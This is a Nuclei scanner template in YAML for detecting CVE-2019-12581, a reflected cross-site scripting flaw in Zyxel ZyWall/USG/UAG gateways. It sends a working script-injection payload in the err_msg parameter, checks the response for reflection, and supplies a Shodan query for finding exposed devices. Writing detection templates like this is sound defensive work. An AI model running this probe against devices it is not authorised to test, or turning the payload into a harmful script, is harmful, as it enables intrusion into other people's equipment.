55 lines
1.9 KiB
YAML
55 lines
1.9 KiB
YAML
id: CVE-2019-12581
|
|
|
|
info:
|
|
name: Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting
|
|
author: n-thumann
|
|
severity: medium
|
|
description: Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
|
|
remediation: |
|
|
Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.
|
|
reference:
|
|
- https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
|
|
- https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
|
|
- https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-12581
|
|
- https://www.zyxel.com/us/en/
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2019-12581
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00642
|
|
epss-percentile: 0.76876
|
|
cpe: cpe:2.3:o:zyxel:uag2100_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: zyxel
|
|
product: uag2100_firmware
|
|
shodan-query: http.title:"ZyWall"
|
|
tags: cve,cve2019,zyxel,zywall,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "<script>alert(document.domain);</script>"
|
|
- "Please contact with administrator."
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502205a60f211bfdbe3e8fab91316e7d8254664617ec3d63a7a323d30abb2a543988c022100ebfa2d29b30a251756011ed5088c026561eaf3a80d0afaeaca2f1d4d441828ce:922c64590222798bb761d5b6d8e72950
|